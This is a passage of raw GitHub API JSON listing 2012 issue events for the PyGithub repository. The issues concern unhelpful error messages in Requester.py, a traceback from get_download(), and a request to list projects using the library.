04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"referenced","id":14890679,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14890678","issue":{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4452000,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/25"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"subscribed","id":14890678,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14890677","issue":{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4452000,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/25"},"commit_id":null,"created_at":"2012-05-07T10:49:06Z","event":"assigned","id":14890677,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14890532","issue":{"updated_at":"2012-05-07T10:45:58Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":6,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-07T10:45:58Z","title":"Review exceptions policy when receiving error HTTP status","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-12T19:45:51Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3617711,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/6"},"commit_id":null,"created_at":"2012-05-07T10:45:58Z","event":"closed","id":14890532,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14890531","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-07T10:45:58Z","event":"referenced","id":14890531,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14797847","issue":{"updated_at":"2012-05-07T10:45:58Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/6","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":6,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-07T10:45:58Z","title":"Review exceptions policy when receiving error HTTP status","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-12T19:45:51Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3617711,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/6"},"commit_id":null,"created_at":"2012-05-04T19:23:57Z","event":"referenced","id":14797847,"actor":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14550202","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-01T21:58:55Z","event":"subscribed","id":14550202,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14550200","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-05-01T21:58:55Z","event":"assigned","id":14550200,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14466693","issue":{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-04-30T20:01:20Z","event":"subscribed","id":14466693,"actor":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/13988647","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-23T20:23:29Z","event":"closed","id":13988647,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/13600012","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in 